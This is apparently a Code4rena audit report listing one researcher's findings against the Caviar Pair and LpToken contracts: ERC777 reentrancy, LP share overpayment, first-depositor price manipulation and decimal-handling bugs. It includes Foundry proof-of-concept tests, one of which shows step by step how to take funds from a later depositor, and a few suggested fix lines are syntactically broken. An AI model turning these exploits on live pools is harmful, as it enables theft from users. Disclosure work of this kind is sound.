Caviar contest - koxuan's results

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L154 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L398-L400

Vulnerability details

Impact

This is a well known attack, openzepellin talks about it here https://blog.openzeppelin.com/exploiting-uniswap-from-reentrancy-to-actual-profit/. When a erc777 token is used, user can reenter buy before the transfer of base token has taken place, allowing user to buy fractional token at a cheaper price because baseTokenBalance will stay the same.

Proof of Concept

User buys some fractional token. buyQuote is used to calculate the amount of baseToken needed for the amount of fractional token user want to buy.

    function buy(uint256 outputAmount, uint256 maxInputAmount) public payable returns (uint256 inputAmount) {
        // *** Checks *** //


        // check that correct eth input was sent - if the baseToken equals address(0) then native ETH is used
        require(baseToken == address(0) ? msg.value == maxInputAmount : msg.value == 0, "Invalid ether input");


        // calculate required input amount using xyk invariant
        inputAmount = buyQuote(outputAmount);


        // check that the required amount of base tokens is less than the max amount
        require(inputAmount <= maxInputAmount, "Slippage: amount in");


        // *** Effects *** //


        // transfer fractional tokens to sender
        _transferFrom(address(this), msg.sender, outputAmount);


        // *** Interactions *** //


        if (baseToken == address(0)) {
            // refund surplus eth
            uint256 refundAmount = maxInputAmount - inputAmount;
            if (refundAmount > 0) msg.sender.safeTransferETH(refundAmount);
        } else {
            // transfer base tokens in
            ERC20(baseToken).safeTransferFrom(msg.sender, address(this), inputAmount);
        }


        emit Buy(inputAmount, outputAmount);
    }

In buyQuote, baseTokenReserves is divided by fractionalTokenReserves to get the price of fractional token.

    function buyQuote(uint256 outputAmount) public view returns (uint256) {
        return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997);
    }

However, user have the opportunity to reenter buy at safeTransferFrom if baseToken is a erc777 token. According to erc777 docs, the hook is called before the transfer of tokens. Hence, baseTokenReserves above will remain the same. This allows the user to buy fractional token at a cheaper price than usual by reentering the buy function repeatedly.

        } else {
            // transfer base tokens in
            ERC20(baseToken).safeTransferFrom(msg.sender, address(this), inputAmount);
        }

Tools Used

Manual Review

Recommended Mitigation Steps

Recommend using ReentrancyGuard from OpenZepellin.

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63-L99 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L417-L428

Vulnerability details

Impact

baseTokenAmount and fractionalTokenAmount in add will calculate the shares that both amount will generate and take the minimum. However, after calculating the minimum, baseTokenAmount and fractionalTokenAmount is not recalculated based on the minimum, causing user to overpay on baseTokenAmount or fractionalTokenAmount if there is a difference in the share amount of both.

Proof of Concept

lpTokenAmount = addQuote(baseTokenAmount, fractionalTokenAmount); is used to calculate in add how much liquidity token based on the baseTokenAmount and fractionalTokenAmount.

    function add(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 minLpTokenAmount)
        public
        payable
        returns (uint256 lpTokenAmount)
    {
        // *** Checks *** //

        // check the token amount inputs are not zero
        require(baseTokenAmount > 0 && fractionalTokenAmount > 0, "Input token amount is zero");

        // check that correct eth input was sent - if the baseToken equals address(0) then native ETH is used
        require(baseToken == address(0) ? msg.value == baseTokenAmount : msg.value == 0, "Invalid ether input");

        // calculate the lp token shares to mint
        lpTokenAmount = addQuote(baseTokenAmount, fractionalTokenAmount);

        // check that the amount of lp tokens outputted is greater than the min amount
        require(lpTokenAmount >= minLpTokenAmount, "Slippage: lp token amount out");

        // *** Effects *** //

        // transfer fractional tokens in
        _transferFrom(msg.sender, address(this), fractionalTokenAmount);

        // *** Interactions *** //

        // mint lp tokens to sender
        lpToken.mint(msg.sender, lpTokenAmount);

        // transfer base tokens in if the base token is not ETH
        if (baseToken != address(0)) {
            // transfer base tokens in
            ERC20(baseToken).safeTransferFrom(msg.sender, address(this), baseTokenAmount);
        }

        emit Add(baseTokenAmount, fractionalTokenAmount, lpTokenAmount);
    }

However, as we see in addQuote, the minimum of either baseTokenShare or fractionalTokenShare is returned. That means that if there is a difference between baseTokenShare and fractionalTokenShare, the user will lose out on the tokens that contribute to the higher share as the amount of baseToken and fractionalToken transferred is based on the user input and not recalculated after getting the minimum amount of shares.

function addQuote(uint256 baseTokenAmount, uint256 fractionalTokenAmount) public view returns (uint256) {
        uint256 lpTokenSupply = lpToken.totalSupply();
        if (lpTokenSupply > 0) {
            // calculate amount of lp tokens as a fraction of existing reserves
            uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves();
            uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves();
            return Math.min(baseTokenShare, fractionalTokenShare);
        } else {
            // if there is no liquidity then init
            return Math.sqrt(baseTokenAmount * fractionalTokenAmount);
        }
    }

place poc in Add.t.sol, and run forge test --match testUserNormal -vv

Both tests are the same except for the fact that babe pays more baseToken in the second test. However, both test get the same amount of liquidity tokens.

     function testUserNormal() public {

        // arrange
        uint256 minLpTokenAmount = Math.sqrt(baseTokenAmount * fractionalTokenAmount);
        p.add(baseTokenAmount, fractionalTokenAmount, minLpTokenAmount); // initial add
        uint256 lpTokenSupplyBefore = lpToken.totalSupply();

        uint256 expectedLpTokenAmount = Math.sqrt(baseTokenAmount * fractionalTokenAmount) * 17;
        minLpTokenAmount = expectedLpTokenAmount;
        baseTokenAmount = baseTokenAmount * 17;
        fractionalTokenAmount = fractionalTokenAmount * 17;
        deal(address(usd), babe, baseTokenAmount, true);
        deal(address(p), babe, fractionalTokenAmount, true);

        // act
        vm.startPrank(babe);
        usd.approve(address(p), type(uint256).max);
        uint256 lpTokenAmount = p.add(baseTokenAmount, fractionalTokenAmount, minLpTokenAmount);
        vm.stopPrank();

        // assert
        assertEq(lpTokenAmount, expectedLpTokenAmount, "Should have returned correct lp token amount");
        assertEq(lpToken.balanceOf(babe), expectedLpTokenAmount, "Should have minted lp tokens");
        assertEq(lpToken.totalSupply() - lpTokenSupplyBefore, expectedLpTokenAmount, "Should have increased lp supply");

        console.log(usd.balanceOf(address(babe)));
        console.log(lpToken.balanceOf(address(babe)));
    }
    function testUserNormalPaysMoreBaseTokensButGetsTheSame() public {
        // arrange
        uint256 minLpTokenAmount = Math.sqrt(baseTokenAmount * fractionalTokenAmount);
        p.add(baseTokenAmount, fractionalTokenAmount, minLpTokenAmount); // initial add
        uint256 lpTokenSupplyBefore = lpToken.totalSupply();

        uint256 expectedLpTokenAmount = Math.sqrt(baseTokenAmount * fractionalTokenAmount) * 17;
        minLpTokenAmount = expectedLpTokenAmount;
        baseTokenAmount = baseTokenAmount * 17;
        fractionalTokenAmount = fractionalTokenAmount * 17;
        deal(address(usd), babe, baseTokenAmount+100000, true);
        deal(address(p), babe, fractionalTokenAmount, true);

        // act
        vm.startPrank(babe);
        usd.approve(address(p), type(uint256).max);
        uint256 lpTokenAmount = p.add(baseTokenAmount+100000, fractionalTokenAmount, minLpTokenAmount);
        vm.stopPrank();

        // assert
        assertEq(lpTokenAmount, expectedLpTokenAmount, "Should have returned correct lp token amount");
        assertEq(lpToken.balanceOf(babe), expectedLpTokenAmount, "Should have minted lp tokens");
        assertEq(lpToken.totalSupply() - lpTokenSupplyBefore, expectedLpTokenAmount, "Should have increased lp supply");


        console.log(usd.balanceOf(address(babe)));
        console.log(lpToken.balanceOf(address(babe)));
    }

Tools Used

Foundry

Recommended Mitigation Steps

Consider recalculating fractionalTokenAmount and baseTokenAmount based on lpTokenAmount returned from addQuote.

         // check that the amount of lp tokens outputted is greater than the min amount
         require(lpTokenAmount >= minLpTokenAmount, "Slippage: lp token amount out");


+        fractionalTokenAmount = lpTokenAmount * fractionalTokenReserves() / lpTokenSupply;
+        baseTokenAmount = lpTokenAmount * baseTokenReserves() / lpTokenSupply;
         // *** Effects *** //

         // transfer fractional tokens in

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63-L99 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L417-L428

Vulnerability details

Impact

The first liquidity provider can manipulate price of share by having 1 share only and sending in baseTokens and fractionalTokens to manipulate the price of the share. Future liquidity providers will then lose out on precision loss which will be gained by the first liquidity provider.

Proof of Concept

Place this in NftAdd.sol, babe that started out with 1e18 baseTokens is able to gain 2e17 baseTokens from victim after the attack.

    function testUserCanManipulatePrice() public {
        uint256[] memory _tokenIds = new uint[](1);
        console.log(lpToken.totalSupply()); // begin with 0 supply


        vm.startPrank(babe);
        bayc.setApprovalForAll(address(p), true);
        usd.approve(address(p), type(uint256).max);

            bayc.mint(babe, 5);

        _tokenIds[0] = 5;

        deal(address(usd), babe, 1e18, true);
        uint256 lpTokenAmount = p.nftAdd(1e18, _tokenIds, 1, proofs);

        console.log(lpToken.totalSupply()); // begin with 1e18 supply


        p.remove(1e18-1, 1e18-1, 1e18-1); // make lptoken to 1 share = 1 usd and 1 fractional token


        console.log(lpToken.totalSupply()); // left 1 share

        p.transfer(address(p), 1e18-1);

        usd.transfer(address(p), 6e17); // 1 share = 6e17 usdc and 1e18 fractional token



        vm.stopPrank();


        deal(address(usd), address(this), 1e18, true); // victim
        bayc.mint(address(this), 6);
        _tokenIds[0] = 6;
        lpTokenAmount = p.nftAdd(1e18, _tokenIds, 1, proofs);


        console.log(lpToken.totalSupply()); // total number of shares = 2

        vm.startPrank(babe);
        p.remove(1, 1, 1);
        console.log(usd.balanceOf(babe)); // babe now ends with more usdc than he has


    }

Tools Used

Foundry

Recommended Mitigation Steps

Set a minimum amount of share that must be left in the pool when withdrawing and also burn away some shares from first liquidity provider to ensure that the price is more robust against such attacks.

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L77 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L426 https://github.com/code-423n4/2022-12-caviar/blob/main/src/LpToken.sol#L13

Vulnerability details

Impact

Based on LpToken.sol constructor, liquidity pool token is in 18 decimals. However, when liquidity token amount is initialized, it assumes that base token decimal is 18 because it multiples it with fractional tokens amount which is in 18 decimal before square rooting and taking the result as the initial liquidity pool token amount. In the event that non 18 decimal ERC20 token is used as base token (USDC), the liquidity pool token amount will be in the wrong precision.

Proof of Concept

In LpToken.sol, the constructor initializes the pair with 18 decimals for the liquidity pool token.

    constructor(string memory pairSymbol)
        Owned(msg.sender)
        ERC20(string.concat(pairSymbol, " LP token"), string.concat("LP-", pairSymbol), 18)
    {}

However, when initalizing initial liquidity pool token amount, baseTokenAmount is assumed as 18 decimals. In the event that a non 18 decimal token is used such as USDC with 6 decimal, the resulting amount after square rooting will be in 12 decimals instead of 18 decimals.

        } else {
            // if there is no liquidity then init
            return Math.sqrt(baseTokenAmount * fractionalTokenAmount);
        }

Tools Used

Manual Review

Recommended Mitigation Steps

Suggest making baseTokenAmount to 18 decimals before multiplying it with fractionalTokenAmount

return Math.sqrt(baseTokenAmount * (10 ** (18 - ERC20(baseToken).decimals())) * fractionalTokenAmount));

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L154 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L186 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L398-L400 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L406-L409

Vulnerability details

Impact

When buying or selling fractional Tokens from pair, buyQuote and sellQuote is used to calculate how much base Token is needed in exchange of the amount of fractional Tokens user is buying or selling. In the event that a low decimal ERC20 token is used (USDC with 6 decimals), buyQuote and sellQuote will underflow and revert unless fractional tokens amount is big enough.

Proof of Concept

In buy, buyQuote is used to calculate the amount of input base Tokens for the amount of fractional tokens user wants to buy.

        inputAmount = buyQuote(outputAmount);

However, we can see that in buyQuote, fractionalTokenReserves (18 decimals) will be significantly bigger than baseTokenReserves if base Token has a small decimal count. i.e (USDC 6 decimals). buyQuote and sellQuote will underflow and revert due to baseTokenReserves divide by fractionalTokenReserves.

    function buyQuote(uint256 outputAmount) public view returns (uint256) {
        return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

There should be a minimum for outputAmount depending on the number of decimal the ERC20 used for base Token has.

require(outputAmount > 10 ** 18- ERC20(baseToken).decimals, "outputAmount needs to be more )

Or if possible, ONE can be based on base token decimals.